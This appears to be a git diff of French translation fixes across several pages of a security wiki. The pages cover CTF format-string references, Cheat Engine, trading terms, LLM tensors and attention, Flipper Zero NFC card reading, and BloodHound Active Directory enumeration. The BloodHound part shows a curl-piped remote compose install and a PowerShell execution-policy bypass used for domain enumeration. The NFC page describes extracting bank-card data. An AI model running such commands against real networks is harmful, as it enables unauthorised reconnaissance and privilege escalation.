 ## Autres exemples & Références
 
@@ -86,6 +86,6 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bits, relro, pas de canary, nx, pie. Écrasement partiel pour appeler la fonction win (ret2win)
+- 64 bits, relro, pas de canary, nx, pie. Partial overwrite pour appeler la fonction win (ret2win)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing/reversing-tools-basic-methods/cheat-engine.md

@@ -55,7 +55,7 @@ Ensuite, vous faites quelque chose pour que **la valeur change**, et vous **arr
 ![](<../../images/image (684).png>)
 
 Cheat Engine recherchera les **valeurs** qui **sont passées de 100 à la nouvelle valeur**. Félicitations, vous **avez trouvé** l'**adresse** de la valeur que vous cherchiez, vous pouvez maintenant la modifier.\
-_&#x49;f vous avez encore plusieurs valeurs, faites quelque chose pour modifier à nouveau cette valeur, et effectuez un autre "scan suivant" pour filtrer les adresses._
+_Si vous avez encore plusieurs valeurs, faites quelque chose pour modifier à nouveau cette valeur, et effectuez un autre "scan suivant" pour filtrer les adresses._
 
 ### Valeur inconnue, changement connu
 
@@ -69,25 +69,25 @@ Ensuite, faites changer la valeur, indiquez **comment** la **valeur** **a chang
 
 ![](<../../images/image (371).png>)
 
-Vous serez présenté **toutes les valeurs qui ont été modifiées de la manière sélectionnée** :
+Vous serez présenté avec **toutes les valeurs qui ont été modifiées de la manière sélectionnée** :
 
 ![](<../../images/image (569).png>)
 
 Une fois que vous avez trouvé votre valeur, vous pouvez la modifier.
 
-Notez qu'il y a un **grand nombre de changements possibles** et vous pouvez faire ces **étapes autant de fois que vous le souhaitez** pour filtrer les résultats :
+Notez qu'il y a un **grand nombre de changements possibles** et vous pouvez effectuer ces **étapes autant de fois que vous le souhaitez** pour filtrer les résultats :
 
 ![](<../../images/image (574).png>)
 
 ### Adresse mémoire aléatoire - Trouver le code
 
-Jusqu'à présent, nous avons appris à trouver une adresse stockant une valeur, mais il est très probable que dans **différentes exécutions du jeu, cette adresse se trouve à différents endroits de la mémoire**. Alors découvrons comment toujours trouver cette adresse.
+Jusqu'à présent, nous avons appris à trouver une adresse stockant une valeur, mais il est très probable que lors de **différentes exécutions du jeu, cette adresse se trouve à différents endroits de la mémoire**. Alors découvrons comment toujours trouver cette adresse.
 
 En utilisant certains des trucs mentionnés, trouvez l'adresse où votre jeu actuel stocke la valeur importante. Ensuite (en arrêtant le jeu si vous le souhaitez), faites un **clic droit** sur l'**adresse** trouvée et sélectionnez "**Découvrir ce qui accède à cette adresse**" ou "**Découvrir ce qui écrit à cette adresse**" :
 
 ![](<../../images/image (1067).png>)
 
-La **première option** est utile pour savoir quelles **parties** du **code** utilisent cette **adresse** (ce qui est utile pour d'autres choses comme **savoir où vous pouvez modifier le code** du jeu).\
+La **première option** est utile pour savoir quelles **parties** du **code** **utilisent** cette **adresse** (ce qui est utile pour d'autres choses comme **savoir où vous pouvez modifier le code** du jeu).\
 La **deuxième option** est plus **spécifique**, et sera plus utile dans ce cas car nous sommes intéressés à savoir **d'où cette valeur est écrite**.
 
 Une fois que vous avez sélectionné l'une de ces options, le **débogueur** sera **attaché** au programme et une nouvelle **fenêtre vide** apparaîtra. Maintenant, **jouez** au **jeu** et **modifiez** cette **valeur** (sans redémarrer le jeu). La **fenêtre** devrait être **remplie** avec les **adresses** qui **modifient** la **valeur** :
@@ -110,7 +110,7 @@ Ensuite, effectuez un nouveau scan **à la recherche de la valeur hexadécimale
 
 ![](<../../images/image (994).png>)
 
-(_Si plusieurs apparaissent, vous avez généralement besoin de l'adresse la plus petite_)\
+(_Si plusieurs apparaissent, vous avez généralement besoin de la plus petite adresse_)\
 Maintenant, nous avons **trouvé le pointeur qui modifiera la valeur qui nous intéresse**.
 
 Cliquez sur "**Ajouter l'adresse manuellement**" :
@@ -142,7 +142,7 @@ Ensuite, cliquez sur **CTRL+a** pour invoquer la fenêtre d'assemblage automatiq
 
 ![](<../../images/image (902).png>)
 
-Remplissez l'**adresse de l'instruction que vous souhaitez modifier** (cela est généralement pré-rempli) :
+Remplissez l'**adresse de l'instruction que vous souhaitez modifier** (cela est généralement rempli automatiquement) :
 
 ![](<../../images/image (744).png>)
 

src/todo/investment-terms.md

@@ -2,11 +2,11 @@
 
 ## Spot
 
-C'est le moyen le plus basique de faire du trading. Vous pouvez **indiquer le montant de l'actif et le prix** auquel vous souhaitez acheter ou vendre, et chaque fois que ce prix est atteint, l'opération est effectuée.
+C'est le moyen le plus basique de faire du trading. Vous pouvez **indiquer le montant de l'actif et le prix** que vous souhaitez acheter ou vendre, et dès que ce prix est atteint, l'opération est effectuée.
 
 En général, vous pouvez également utiliser le **prix du marché actuel** afin d'effectuer la transaction aussi rapidement que possible au prix actuel.
 
-**Stop Loss - Limite** : Vous pouvez également indiquer le montant et le prix des actifs à acheter ou à vendre tout en indiquant un prix inférieur pour acheter ou vendre au cas où il serait atteint (pour arrêter les pertes).
+**Stop Loss - Limit** : Vous pouvez également indiquer le montant et le prix des actifs à acheter ou à vendre tout en indiquant un prix inférieur pour acheter ou vendre au cas où il serait atteint (pour stopper les pertes).
 
 ## Futures
 
@@ -18,20 +18,20 @@ Cependant, cela est intéressant par exemple pour les entreprises qui génèrent
 
 Bien que dans les échanges, cela soit généralement utilisé pour essayer de réaliser un profit.
 
-* Remarque qu'une "position longue" signifie que quelqu'un parie qu'un prix va augmenter
-* Alors qu'une "position courte" signifie que quelqu'un parie qu'un prix va baisser
+* Remarquez qu'une "position longue" signifie que quelqu'un parie qu'un prix va augmenter.
+* Alors qu'une "position courte" signifie que quelqu'un parie qu'un prix va baisser.
 
 ### Couverture avec des Futures <a href="#mntl-sc-block_7-0" id="mntl-sc-block_7-0"></a>
 
-Si un gestionnaire de fonds craint que certaines actions vont baisser, il pourrait prendre une position courte sur certains actifs comme des bitcoins ou des contrats à terme S\&P 500. Cela serait similaire à acheter ou à avoir certains actifs et créer un contrat pour les vendre à un moment futur à un prix plus élevé.&#x20;
+Si un gestionnaire de fonds craint que certaines actions vont baisser, il pourrait prendre une position courte sur certains actifs comme des bitcoins ou des contrats à terme S\&P 500. Cela serait similaire à acheter ou à posséder certains actifs et créer un contrat pour les vendre à un moment futur à un prix plus élevé.
 
-Dans le cas où le prix baisse, le gestionnaire de fonds réalisera des bénéfices car il vendra les actifs à un prix plus élevé. Si le prix des actifs augmente, le gestionnaire ne réalisera pas ce bénéfice mais il conservera ses actifs.
+Dans le cas où le prix baisse, le gestionnaire de fonds gagnera des bénéfices car il vendra les actifs à un prix plus élevé. Si le prix des actifs augmente, le gestionnaire ne gagnera pas ce bénéfice mais il conservera toujours ses actifs.
 
 ### Futures Perpétuels
 
 **Ce sont des "futures" qui dureront indéfiniment** (sans date de contrat de fin). Il est très courant de les trouver par exemple dans les échanges de crypto où vous pouvez entrer et sortir des futures en fonction du prix des cryptos.
 
-Remarque qu dans ces cas, les bénéfices et les pertes peuvent être en temps réel, si le prix augmente de 1%, vous gagnez 1%, si le prix diminue de 1%, vous le perdrez.
+Remarquez que dans ces cas, les bénéfices et les pertes peuvent être en temps réel, si le prix augmente de 1%, vous gagnez 1%, si le prix diminue de 1%, vous le perdrez.
 
 ### Futures avec Effet de Levier
 
@@ -44,7 +44,7 @@ Par conséquent, l'effet de levier permet de contrôler le montant d'argent que
 
 ## Différences entre Futures et Options
 
-La principale différence entre les futures et les options est que le contrat est optionnel pour l'acheteur : il peut décider de l'exécuter ou non (en général, il ne le fera que s'il en tirera un bénéfice). Le vendeur doit vendre si l'acheteur souhaite utiliser l'option.\
+La principale différence entre les futures et les options est que le contrat est optionnel pour l'acheteur : il peut décider de l'exécuter ou non (généralement il ne le fera que s'il en tirera un bénéfice). Le vendeur doit vendre si l'acheteur souhaite utiliser l'option.\
 Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte que le vendeur, qui prend apparemment plus de risques, commence à gagner de l'argent).
 
 ### 1. **Obligation vs. Droit :**
@@ -55,7 +55,7 @@ Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte
 ### 2. **Risque :**
 
 * **Futures :** L'acheteur et le vendeur prennent un **risque illimité** car ils sont obligés de compléter le contrat. Le risque est la différence entre le prix convenu et le prix du marché à la date d'expiration.
-* **Options :** Le risque de l'acheteur est limité à la **prime** payée pour acheter l'option. Si le marché ne se déplace pas en faveur du titulaire de l'option, il peut simplement laisser l'option expirer. Cependant, le **vendeur** (émetteur) de l'option a un risque illimité si le marché se déplace considérablement contre lui.
+* **Options :** Le risque de l'acheteur est limité à la **prime** payée pour acheter l'option. Si le marché ne bouge pas en faveur du titulaire de l'option, il peut simplement laisser l'option expirer. Cependant, le **vendeur** (émetteur) de l'option a un risque illimité si le marché évolue de manière significative contre lui.
 
 ### 3. **Coût :**
 
@@ -65,4 +65,4 @@ Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte
 ### 4. **Potentiel de Profit :**
 
 * **Futures :** Le profit ou la perte est basé sur la différence entre le prix du marché à l'expiration et le prix convenu dans le contrat.
-* **Options :** L'acheteur réalise un profit lorsque le marché se déplace favorablement au-delà du prix d'exercice de plus que la prime payée. Le vendeur réalise un profit en conservant la prime si l'option n'est pas exercée.
+* **Options :** L'acheteur réalise un profit lorsque le marché évolue favorablement au-delà du prix d'exercice de plus que la prime payée. Le vendeur réalise un profit en conservant la prime si l'option n'est pas exercée.

src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md

@@ -28,16 +28,16 @@ GPT_CONFIG_124M = {
 "qkv_bias": False     // Query-Key-Value bias
 }
 ```
-## Tenseurs dans PyTorch
+## Tensors dans PyTorch
 
-Dans PyTorch, un **tenseur** est une structure de données fondamentale qui sert d'array multidimensionnel, généralisant des concepts comme les scalaires, les vecteurs et les matrices à des dimensions potentiellement supérieures. Les tenseurs sont la principale façon dont les données sont représentées et manipulées dans PyTorch, en particulier dans le contexte de l'apprentissage profond et des réseaux de neurones.
+Dans PyTorch, un **tensor** est une structure de données fondamentale qui sert de tableau multidimensionnel, généralisant des concepts comme les scalaires, les vecteurs et les matrices à des dimensions potentiellement supérieures. Les tenseurs sont la principale façon dont les données sont représentées et manipulées dans PyTorch, en particulier dans le contexte de l'apprentissage profond et des réseaux de neurones.
 
 ### Concept Mathématique des Tenseurs
 
 - **Scalaires** : Tenseurs de rang 0, représentant un seul nombre (zéro-dimensionnel). Comme : 5
 - **Vecteurs** : Tenseurs de rang 1, représentant un tableau unidimensionnel de nombres. Comme : \[5,1]
 - **Matrices** : Tenseurs de rang 2, représentant des tableaux bidimensionnels avec des lignes et des colonnes. Comme : \[\[1,3], \[5,2]]
-- **Tenseurs de Rang Supérieur** : Tenseurs de rang 3 ou plus, représentant des données dans des dimensions supérieures (par exemple, des tenseurs 3D pour des images en couleur).
+- **Tenseurs de Rang Supérieur** : Tenseurs de rang 3 ou plus, représentant des données dans des dimensions supérieures (par exemple, des tenseurs 3D pour des images couleur).
 
 ### Tenseurs en tant que Conteneurs de Données
 
@@ -47,7 +47,7 @@ D'un point de vue computationnel, les tenseurs agissent comme des conteneurs pou
 
 Bien que les tenseurs PyTorch soient similaires aux tableaux NumPy dans leur capacité à stocker et manipuler des données numériques, ils offrent des fonctionnalités supplémentaires cruciales pour l'apprentissage profond :
 
-- **Différentiation Automatique** : Les tenseurs PyTorch prennent en charge le calcul automatique des gradients (autograd), ce qui simplifie le processus de calcul des dérivées nécessaires pour l'entraînement des réseaux de neurones.
+- **Différentiation Automatique** : Les tenseurs PyTorch prennent en charge le calcul automatique des gradients (autograd), ce qui simplifie le processus de calcul des dérivées nécessaires à l'entraînement des réseaux de neurones.
 - **Accélération GPU** : Les tenseurs dans PyTorch peuvent être déplacés et calculés sur des GPU, accélérant considérablement les calculs à grande échelle.
 
 ### Création de Tenseurs dans PyTorch
@@ -72,7 +72,7 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]],
 ```
 ### Types de données Tensor
 
-Les tenseurs PyTorch peuvent stocker des données de différents types, tels que des entiers et des nombres à virgule flottante. 
+Les tenseurs PyTorch peuvent stocker des données de différents types, tels que des entiers et des nombres à virgule flottante.
 
 Vous pouvez vérifier le type de données d'un tenseur en utilisant l'attribut `.dtype` :
 ```python
@@ -195,27 +195,27 @@ print("Gradient w.r.t b:", b.grad)
 cssCopy codeGradient w.r.t w: tensor([-0.0898])
 Gradient w.r.t b: tensor([-0.0817])
 ```
-## Rétropropagation dans des Réseaux Neuraux Plus Grands
+## Backpropagation dans des Réseaux Neuraux Plus Grands
 
 ### **1. Extension aux Réseaux Multicouches**
 
 Dans des réseaux neuronaux plus grands avec plusieurs couches, le processus de calcul des gradients devient plus complexe en raison du nombre accru de paramètres et d'opérations. Cependant, les principes fondamentaux restent les mêmes :
 
-- **Passage Avant :** Calculez la sortie du réseau en passant les entrées à travers chaque couche.
-- **Calcul de la Perte :** Évaluez la fonction de perte en utilisant la sortie du réseau et les étiquettes cibles.
-- **Passage Arrière (Rétropropagation) :** Calculez les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée.
+- **Passage Avant :** Calculer la sortie du réseau en passant les entrées à travers chaque couche.
+- **Calcul de la Perte :** Évaluer la fonction de perte en utilisant la sortie du réseau et les étiquettes cibles.
+- **Passage Arrière (Backpropagation) :** Calculer les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée.
 
-### **2. Algorithme de Rétropropagation**
+### **2. Algorithme de Backpropagation**
 
-- **Étape 1 :** Initialisez les paramètres du réseau (poids et biais).
-- **Étape 2 :** Pour chaque exemple d'entraînement, effectuez un passage avant pour calculer les sorties.
-- **Étape 3 :** Calculez la perte.
-- **Étape 4 :** Calculez les gradients de la perte par rapport à chaque paramètre en utilisant la règle de chaîne.
-- **Étape 5 :** Mettez à jour les paramètres en utilisant un algorithme d'optimisation (par exemple, la descente de gradient).
+- **Étape 1 :** Initialiser les paramètres du réseau (poids et biais).
+- **Étape 2 :** Pour chaque exemple d'entraînement, effectuer un passage avant pour calculer les sorties.
+- **Étape 3 :** Calculer la perte.
+- **Étape 4 :** Calculer les gradients de la perte par rapport à chaque paramètre en utilisant la règle de chaîne.
+- **Étape 5 :** Mettre à jour les paramètres en utilisant un algorithme d'optimisation (par exemple, la descente de gradient).
 
 ### **3. Représentation Mathématique**
 
-Considérez un réseau neuronal simple avec une couche cachée :
+Considérons un réseau neuronal simple avec une couche cachée :
 
 <figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -266,11 +266,11 @@ print(f"Gradient of {name}: {param.grad}")
 ```
 Dans ce code :
 
-- **Passage avant :** Calcule les sorties du réseau.
-- **Passage arrière :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres.
-- **Mise à jour des paramètres :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés.
+- **Passage Avant :** Calcule les sorties du réseau.
+- **Passage Arrière :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres.
+- **Mise à Jour des Paramètres :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés.
 
-### **5. Comprendre le passage arrière**
+### **5. Comprendre le Passage Arrière**
 
 Lors du passage arrière :
 
@@ -278,8 +278,8 @@ Lors du passage arrière :
 - Pour chaque opération, il applique la règle de la chaîne pour calculer les gradients.
 - Les gradients sont accumulés dans l'attribut `.grad` de chaque tenseur de paramètre.
 
-### **6. Avantages de la différentiation automatique**
+### **6. Avantages de la Différentiation Automatique**
 
 - **Efficacité :** Évite les calculs redondants en réutilisant les résultats intermédiaires.
 - **Précision :** Fournit des dérivées exactes jusqu'à la précision machine.
-- **Facilité d'utilisation :** Élimine le calcul manuel des dérivées.
+- **Facilité d'Utilisation :** Élimine le calcul manuel des dérivées.

src/todo/llm-training-data-preparation/4.-attention-mechanisms.md

@@ -28,7 +28,7 @@ L'auto-attention, ou intra-attention, est un mécanisme où l'attention est appl
 
 ### Calcul des Poids d'Attention : Un Exemple Étape par Étape
 
-Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot par un embedding à 3 dimensions :
+Considérons la phrase **"Hello shiny sun!"** et représentons chaque mot avec un embedding en 3 dimensions :
 
 - **Hello** : `[0.34, 0.22, 0.54]`
 - **shiny** : `[0.53, 0.34, 0.98]`
@@ -39,7 +39,7 @@ Notre objectif est de calculer le **vecteur de contexte** pour le mot **"shiny"*
 #### Étape 1 : Calculer les Scores d'Attention
 
 > [!TIP]
-> Il suffit de multiplier chaque valeur de dimension de la requête par celle de chaque token et d'ajouter les résultats. Vous obtenez 1 valeur par paire de tokens.
+> Il suffit de multiplier chaque valeur de dimension de la requête par la valeur correspondante de chaque token et d'ajouter les résultats. Vous obtenez 1 valeur par paire de tokens.
 
 Pour chaque mot de la phrase, calculez le **score d'attention** par rapport à "shiny" en calculant le produit scalaire de leurs embeddings.
 
@@ -81,7 +81,7 @@ Calcul des poids d'attention :
 #### Étape 3 : Calculer le Vecteur de Contexte
 
 > [!TIP]
-> Il suffit de prendre chaque poids d'attention et de le multiplier par les dimensions du token correspondant, puis d'additionner toutes les dimensions pour obtenir un seul vecteur (le vecteur de contexte) 
+> Il suffit de prendre chaque poids d'attention et de le multiplier par les dimensions du token correspondant, puis de sommer toutes les dimensions pour obtenir juste 1 vecteur (le vecteur de contexte)
 
 Le **vecteur de contexte** est calculé comme la somme pondérée des embeddings de tous les mots, en utilisant les poids d'attention.
 
@@ -131,7 +131,7 @@ Ces matrices transforment les embeddings originaux en un nouvel espace adapté a
 
 **Exemple**
 
-Supposons :
+En supposant :
 
 - Dimension d'entrée `din=3` (taille de l'embedding)
 - Dimension de sortie `dout=2` (dimension souhaitée pour les requêtes, clés et valeurs)
@@ -170,7 +170,7 @@ Pour éviter que les produits scalaires ne deviennent trop grands, mettez-les à
 > [!TIP]
 > Le score est divisé par la racine carrée des dimensions car les produits scalaires peuvent devenir très grands et cela aide à les réguler.
 
-**Appliquer Softmax pour obtenir les poids d'attention :** Comme dans l'exemple initial, normalisez toutes les valeurs pour qu'elles s'additionnent à 1. 
+**Appliquer Softmax pour obtenir les poids d'attention :** Comme dans l'exemple initial, normalisez toutes les valeurs pour qu'elles s'additionnent à 1.
 
 <figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
 
@@ -257,7 +257,7 @@ attention_weights = dropout(attention_weights)
 ```
 Un abandon régulier est d'environ 10-20%.
 
-### Exemple de code
+### Code Exemple
 
 Exemple de code provenant de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
 ```python
@@ -327,7 +327,7 @@ print("context_vecs.shape:", context_vecs.shape)
 
 ### Exemple de code
 
-Il serait possible de réutiliser le code précédent et d'ajouter simplement un wrapper qui le lance plusieurs fois, mais voici une version plus optimisée de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) qui traite toutes les têtes en même temps (réduisant le nombre de boucles for coûteuses). Comme vous pouvez le voir dans le code, les dimensions de chaque token sont divisées en différentes dimensions selon le nombre de têtes. De cette façon, si un token a 8 dimensions et que nous voulons utiliser 3 têtes, les dimensions seront divisées en 2 tableaux de 4 dimensions et chaque tête utilisera l'un d'eux :
+Il pourrait être possible de réutiliser le code précédent et d'ajouter simplement un wrapper qui le lance plusieurs fois, mais voici une version plus optimisée de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) qui traite toutes les têtes en même temps (réduisant le nombre de boucles for coûteuses). Comme vous pouvez le voir dans le code, les dimensions de chaque token sont divisées en différentes dimensions selon le nombre de têtes. De cette façon, si un token a 8 dimensions et que nous voulons utiliser 3 têtes, les dimensions seront divisées en 2 tableaux de 4 dimensions et chaque tête utilisera l'un d'eux :
 ```python
 class MultiHeadAttention(nn.Module):
 def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):

src/todo/radio-hacking/flipper-zero/fz-nfc.md

@@ -20,7 +20,7 @@ De nouveaux types de cartes NFC seront ajoutés à la liste des cartes prises en
 - **Cartes bancaires (EMV)** — uniquement lecture de l'UID, SAK et ATQA sans sauvegarde.
 - **Cartes inconnues** — lire (UID, SAK, ATQA) et émuler un UID.
 
-Pour les **cartes NFC de type B, type F et type V**, Flipper Zero peut lire un UID sans le sauvegarder.
+Pour les **cartes NFC de type B, type F et type V**, Flipper Zero est capable de lire un UID sans le sauvegarder.
 
 ### Cartes NFC de type A <a href="#uvusf" id="uvusf"></a>
 
@@ -30,7 +30,7 @@ Flipper Zero ne peut lire qu'un UID, SAK, ATQA et les données stockées sur les
 
 Écran de lecture de carte bancairePour les cartes bancaires, Flipper Zero ne peut lire les données **sans sauvegarde et émulation**.
 
-<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure>
+<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&ixlib=react-9.1.1&h=916&w=2662" alt=""><figcaption></figcaption></figure>
 
 #### Cartes inconnues <a href="#id-37eo8" id="id-37eo8"></a>
 
@@ -38,13 +38,13 @@ Lorsque Flipper Zero est **incapable de déterminer le type de carte NFC**, alor
 
 Écran de lecture de carte inconnuePour les cartes NFC inconnues, Flipper Zero peut émuler uniquement un UID.
 
-<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure>
+<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&ixlib=react-9.1.1&h=932&w=2634" alt=""><figcaption></figcaption></figure>
 
 ### Cartes NFC de types B, F et V <a href="#wyg51" id="wyg51"></a>
 
 Pour les **cartes NFC de types B, F et V**, Flipper Zero peut uniquement **lire et afficher un UID** sans le sauvegarder.
 
-<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
+<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&ixlib=react-9.1.1&h=1080&w=2704" alt=""><figcaption></figcaption></figure>
 
 ## Actions
 
@@ -52,7 +52,7 @@ Pour une introduction sur NFC [**lisez cette page**](../pentesting-rfid.md#high-
 
 ### Lire
 
-Flipper Zero peut **lire des cartes NFC**, cependant, il **ne comprend pas tous les protocoles** qui sont basés sur ISO 14443. Cependant, puisque **l'UID est un attribut de bas niveau**, vous pourriez vous retrouver dans une situation où **l'UID est déjà lu, mais le protocole de transfert de données de haut niveau est encore inconnu**. Vous pouvez lire, émuler et saisir manuellement l'UID en utilisant Flipper pour les lecteurs primitifs qui utilisent l'UID pour l'autorisation.
+Flipper Zero peut **lire les cartes NFC**, cependant, il **ne comprend pas tous les protocoles** qui sont basés sur ISO 14443. Cependant, puisque **l'UID est un attribut de bas niveau**, vous pourriez vous retrouver dans une situation où **l'UID est déjà lu, mais le protocole de transfert de données de haut niveau est encore inconnu**. Vous pouvez lire, émuler et entrer manuellement l'UID en utilisant Flipper pour les lecteurs primitifs qui utilisent l'UID pour l'autorisation.
 
 #### Lecture de l'UID VS Lecture des données internes <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
 
@@ -60,7 +60,7 @@ Flipper Zero peut **lire des cartes NFC**, cependant, il **ne comprend pas tous
 
 Dans Flipper, la lecture des étiquettes à 13,56 MHz peut être divisée en deux parties :
 
-- **Lecture de bas niveau** — lit uniquement l'UID, SAK et ATQA. Flipper essaie de deviner le protocole de haut niveau basé sur ces données lues à partir de la carte. Vous ne pouvez pas être sûr à 100 % de cela, car c'est juste une supposition basée sur certains facteurs.
+- **Lecture de bas niveau** — lit uniquement l'UID, SAK et ATQA. Flipper essaie de deviner le protocole de haut niveau basé sur ces données lues depuis la carte. Vous ne pouvez pas être sûr à 100 % de cela, car c'est juste une supposition basée sur certains facteurs.
 - **Lecture de haut niveau** — lit les données de la mémoire de la carte en utilisant un protocole de haut niveau spécifique. Cela consisterait à lire les données sur un Mifare Ultralight, lire les secteurs d'un Mifare Classic, ou lire les attributs de la carte depuis PayPass/Apple Pay.
 
 ### Lire Spécifique
@@ -69,7 +69,7 @@ Dans le cas où Flipper Zero n'est pas capable de trouver le type de carte à pa
 
 #### Cartes Bancaires EMV (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
 
-En plus de simplement lire l'UID, vous pouvez extraire beaucoup plus de données d'une carte bancaire. Il est possible d'**obtenir le numéro de carte complet** (les 16 chiffres à l'avant de la carte), **date de validité**, et dans certains cas même le **nom du propriétaire** ainsi qu'une liste des **transactions les plus récentes**.\
+En plus de simplement lire l'UID, vous pouvez extraire beaucoup plus de données d'une carte bancaire. Il est possible d'**obtenir le numéro de carte complet** (les 16 chiffres sur le devant de la carte), **date de validité**, et dans certains cas même le **nom du propriétaire** ainsi qu'une liste des **transactions les plus récentes**.\
 Cependant, vous **ne pouvez pas lire le CVV de cette manière** (les 3 chiffres au dos de la carte). De plus, **les cartes bancaires sont protégées contre les attaques de rejeu**, donc les copier avec Flipper et ensuite essayer de l'émuler pour payer quelque chose ne fonctionnera pas.
 
 ## Références

src/windows-hardening/active-directory-methodology/bloodhound.md

@@ -6,7 +6,7 @@
 
 [AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) est issu de la Sysinternal Suite :
 
-> Un visualiseur et éditeur avancé d'Active Directory (AD). Vous pouvez utiliser AD Explorer pour naviguer facilement dans une base de données AD, définir des emplacements favoris, afficher les propriétés des objets et les attributs sans ouvrir de boîtes de dialogue, modifier les autorisations, afficher le schéma d'un objet et exécuter des recherches sophistiquées que vous pouvez enregistrer et réexécuter.
+> Un visualiseur et éditeur avancé d'Active Directory (AD). Vous pouvez utiliser AD Explorer pour naviguer facilement dans une base de données AD, définir des emplacements favoris, afficher les propriétés des objets et les attributs sans ouvrir de boîtes de dialogue, modifier les autorisations, voir le schéma d'un objet et exécuter des recherches sophistiquées que vous pouvez enregistrer et réexécuter.
 
 ### Instantanés
 
@@ -30,7 +30,7 @@ From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundA
 
 > BloodHound est une application web Javascript à page unique, construite sur [Linkurious](http://linkurio.us/), compilée avec [Electron](http://electron.atom.io/), avec une base de données [Neo4j](https://neo4j.com/) alimentée par un collecteur de données C#.
 
-BloodHound utilise la théorie des graphes pour révéler les relations cachées et souvent non intentionnelles au sein d'un environnement Active Directory ou Azure. Les attaquants peuvent utiliser BloodHound pour identifier facilement des chemins d'attaque très complexes qui seraient autrement impossibles à identifier rapidement. Les défenseurs peuvent utiliser BloodHound pour identifier et éliminer ces mêmes chemins d'attaque. Les équipes bleues et rouges peuvent utiliser BloodHound pour acquérir facilement une compréhension plus approfondie des relations de privilège dans un environnement Active Directory ou Azure.
+BloodHound utilise la théorie des graphes pour révéler les relations cachées et souvent non intentionnelles au sein d'un environnement Active Directory ou Azure. Les attaquants peuvent utiliser BloodHound pour identifier facilement des chemins d'attaque hautement complexes qui seraient autrement impossibles à identifier rapidement. Les défenseurs peuvent utiliser BloodHound pour identifier et éliminer ces mêmes chemins d'attaque. Les équipes bleues et rouges peuvent utiliser BloodHound pour acquérir facilement une compréhension plus approfondie des relations de privilège dans un environnement Active Directory ou Azure.
 
 Ainsi, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound) est un outil incroyable qui peut énumérer un domaine automatiquement, sauvegarder toutes les informations, trouver des chemins d'escalade de privilèges possibles et afficher toutes les informations à l'aide de graphes.
 
@@ -52,7 +52,7 @@ curl -L https://ghst.ly/getbhce | docker compose -f - up
 3. Localisez le mot de passe généré aléatoirement dans la sortie du terminal de Docker Compose.  
 4. Dans un navigateur, accédez à http://localhost:8080/ui/login. Connectez-vous avec le nom d'utilisateur admin et le mot de passe généré aléatoirement à partir des journaux.
 
-Après cela, vous devrez changer le mot de passe généré aléatoirement et vous aurez la nouvelle interface prête, à partir de laquelle vous pouvez directement télécharger les ingestors.
+Après cela, vous devrez changer le mot de passe généré aléatoirement et vous aurez la nouvelle interface prête, à partir de laquelle vous pourrez télécharger directement les ingestors.
 
 ### SharpHound
 
@@ -72,7 +72,7 @@ runas /netonly /user:domain\user "powershell.exe -exec bypass"
 ## Group3r
 
 [**Group3r**](https://github.com/Group3r/Group3r) est un outil pour trouver des **vulnérabilités** dans Active Directory associées à **Group Policy**. \
